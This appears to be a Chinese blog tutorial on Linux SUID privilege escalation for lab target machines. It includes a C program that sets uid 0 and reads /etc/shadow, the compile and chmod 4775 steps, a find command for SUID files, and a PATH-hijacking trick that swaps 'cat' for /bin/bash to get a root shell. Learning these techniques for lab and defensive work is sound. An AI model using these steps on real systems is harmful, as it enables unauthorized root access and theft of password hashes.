1. 定义
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。
1 c源代码 2 #include<stdlib.h> 3 #include <unistd.h> 4 int main() 5 { 6 setuid(0);//run as root 7 system("id"); 8 system("cat /etc/shadow");//命令可以改 9 } 10 以 root进行编译和权限设置
2. 方法
将该c文件进行编译: gcc exp.c -o exp
再设置其suid位: chmod 4775 exp (chmod 4775 四位数中第一位详解_Perry-CSDN博客
查找其文件位置和权限(主要看权限中有没有s属性):
位置: find / -perm -u=s -type f 2 > /dev/null 查找根目录下所以带有suid属性的文件
查询权限: ls -l exp或者就ls -al
随后在靶机上执行,就可以暂时执行需要root权限的命令
3. 劫持环境变量提权
原理: 因为system函数是继承环境变量,可以通过替换环境变量可以达到执行任意命令。
方法:
创建一个文件: echo "/bin/bash">cat && chmod 777 cat(文件名
把当前目录添加到环境变量内: export PATH=.:$PATH
如此设置后,当再次执行我们所写的exp时会优先从当前文件夹下开始找cat命令内容,然而当前文件下有名为cat的文件,此时就会以高权限来执行"system("cat /etc/shadow)"并且cat命令的效果是/bin/bash,此时就会将低权限shell提升到高权限。
浙公网安备 33010602011771号